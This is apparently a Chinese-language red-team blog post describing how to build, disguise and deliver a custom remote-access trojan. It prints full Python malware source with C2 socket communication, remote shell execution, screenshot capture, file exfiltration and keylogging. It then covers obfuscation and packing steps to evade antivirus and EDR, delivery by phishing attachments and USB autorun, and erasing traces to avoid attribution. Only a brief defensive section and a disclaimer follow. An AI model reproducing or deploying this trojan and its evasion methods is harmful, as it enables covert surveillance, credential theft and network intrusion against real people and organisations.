一、从一次内部渗透测试说起

几周前,在某互联网公司的一次授权红队演练中,我们受邀扮演攻击者,以模拟真实威胁。目标部门为研发团队,任务是通过社工和技术手段入侵一台研发人员的个人电脑,并尝试通过后门控制设备,逐步渗透整个内部网络。

在这次演练中,我们的选择是构造一个定制化的远控木马,以绕过目标机器的杀毒软件和EDR(Endpoint Detection and Response)。我们采用了 Python 用于功能实现,通过 Bash 提供免杀包装,并结合 C2(Command and Control)服务进行通信。最终,这只木马成功完成了我们的攻击目标。

这篇文章将为你还原整个渗透过程,包括木马的制作、免杀技巧,以及实际部署中的关键细节。

---

黑客示意图

二、攻击目标:远控木马的功能分析

在攻击行动之前,我们首先明确了远控木马需要具备的核心功能。这是一次定制化开发,目标是实现以下几点:

核心功能

  1. 远程命令执行:接受 C2 发来的指令,比如文件操作、命令运行。
  2. 屏幕截图:定期对目标设备的屏幕进行截图,方便监控实时活动。
  3. 键盘记录:捕获目标的输入内容,获取敏感信息。
  4. 文件上传/下载:能够上传或下载文件到目标设备。
  5. 权限维持:确保木马在目标设备上持久运行,即便系统重启也不会失效。
  6. 隐蔽通信:通过加密流量与 C2 服务器交互,规避流量分析。

环境约束

目标设备运行的是 Windows 10 系统,且安装了某主流杀毒软件和 EDR,攻击工具必须规避这些安全措施。此外,目标是研发人员的设备,这意味着可能存在较强的网络行为监控。

---

三、Payload构造的艺术:木马代码实现

基于攻击要求,我们选择了 Python 作为主要开发语言,结合 Bash 脚本进行免杀处理。以下是木马的主要实现部分:

木马核心代码

这是一个最简化的木马代码框架,包含键盘记录和远程命令执行功能。

<pre><code class="language-python">import socket import subprocess import os import pyautogui import pynput import threading

C2服务器地址和端口

C2_HOST = &#039;192.168.1.100&#039; C2_PORT = 4444

def connect_to_c2(): &quot;&quot;&quot;连接到C2服务器并保持通信&quot;&quot;&quot; try: client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((C2_HOST, C2_PORT))

while True: command = client.recv(1024).decode(&#039;utf-8&#039;) # 接收指令 if command == &#039;screenshot&#039;: screenshot(client) elif command.startswith(&#039;exec&#039;): execute_command(client, command[5:]) elif command.startswith(&#039;download&#039;): send_file(client, command[9:]) elif command.startswith(&#039;upload&#039;): receive_file(client, command[7:]) else: client.send(b&#039;Unknown Command&#039;) except Exception as e: print(f&quot;[ERROR] {e}&quot;) client.close()

黑客示意图

def screenshot(client): &quot;&quot;&quot;截取屏幕并发送给C2&quot;&quot;&quot; screenshot = pyautogui.screenshot() screenshot.save(&quot;screenshot.png&quot;) with open(&quot;screenshot.png&quot;, &quot;rb&quot;) as f: client.send(f.read())

def execute_command(client, command): &quot;&quot;&quot;执行系统命令&quot;&quot;&quot; result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) client.send(result.stdout + result.stderr)

黑客示意图

def send_file(client, filepath): &quot;&quot;&quot;将文件发送给C2&quot;&quot;&quot; if os.path.exists(filepath): with open(filepath, &#039;rb&#039;) as f: client.send(f.read()) else: client.send(b&quot;File Not Found&quot;)

def receive_file(client, dest_path): &quot;&quot;&quot;从C2接收并保存文件&quot;&quot;&quot; with open(dest_path, &#039;wb&#039;) as f: data = client.recv(1024) while data: f.write(data) data = client.recv(1024)

键盘记录功能

def keylogger(): &quot;&quot;&quot;简单键盘记录器&quot;&quot;&quot; def on_press(key): with open(&quot;keylogs.txt&quot;, &quot;a&quot;) as f: f.write(str(key) + &#039;\n&#039;)

listener = pynput.keyboard.Listener(on_press=on_press) listener.start()

多线程运行各个功能

if __name__ == &quot;__main__&quot;: threading.Thread(target=keylogger).start() connect_to_c2()</code></pre>

功能分析

  1. C2通信:通过 socket 模块与远程服务器交互,支持命令接收与文件传输。
  2. 模块化设计:键盘记录和命令执行分离,方便后续扩展。
  3. 多线程运行:不同功能独立运行,提升木马的稳定性。

---

四、免杀与对抗:如何绕过杀毒和EDR

在部署木马时,直接运行上述代码会触发目标设备的杀毒软件。因此,我们需要对其进行免杀处理。

方法一:代码混淆

使用 pyarmor 或类似工具对 Python 文件进行加密混淆,将关键函数名和模块名替换为随机字符。

<pre><code class="language-bash">pip install pyarmor pyarmor pack -x 1 -e &quot;import socket;import subprocess&quot; far_remote_malware.py</code></pre>

方法二:内存加载

使用 PyInstaller 将代码编译为单独的可执行文件,并结合动态加载技术。

<pre><code class="language-bash">pip install pyinstaller pyinstaller --onefile far_remote_malware.py</code></pre>

生成的 dist/far_remote_malware.exe 可直接运行。为进一步隐蔽,可以借助 Windows API 将代码加载到内存中执行,避免文件落地。

方法三:流量伪装

通过 HTTPS 或 DNS 隧道伪装木马与 C2 的通信,避免流量分析工具检测。

---

五、部署与实战:如何在目标设备上投递木马

社工技术投递

  1. 伪造邮件:设计一封诱导性的官方邮件,内嵌含木马的附件。
  2. 文件名伪装:将木马伪装成常见的 PDF 或 ZIP 文件。
  3. 双文件技术:利用合法文件作为掩护,结合恶意载荷。

物理攻击

  1. USB设备:将木马写入 USB,伪装成重要资料。
  2. 默认启动:利用 autorun.inf 配置,插入 USB 后自动运行木马。

---

六、检测与防御:如何识别和拦截远控木马

作为安全研究员,我们也需要了解检测方法,以下是防御的核心技术点:

黑客示意图

文件行为监控

  1. 异常文件访问:监控木马对系统敏感文件的访问行为。
  2. 内存操作:检测内存中加载的恶意代码。

流量分析

  1. DNS隧道:拦截异常域名解析请求。
  2. 加密通信:分析 HTTPS 或其他协议的流量。

---

七、个人经验分享:攻防之间的平衡

在多年的红队渗透实践中,我发现攻击者和防御者之间的博弈从未停止。一次成功的渗透不仅仅依靠技术,更依赖社工心理学和对目标的深度理解。

对于远控木马的开发,要时刻保持创新:仅仅依靠现成的工具无法应对复杂防御环境,定制化开发是成功的关键。同时,做好攻击痕迹清除,避免被反向溯源,也是每次行动中不可忽视的部分。

希望本文能为你提供启发,同时提醒大家:所有攻击技术仅限于授权测试环境,切勿非法使用。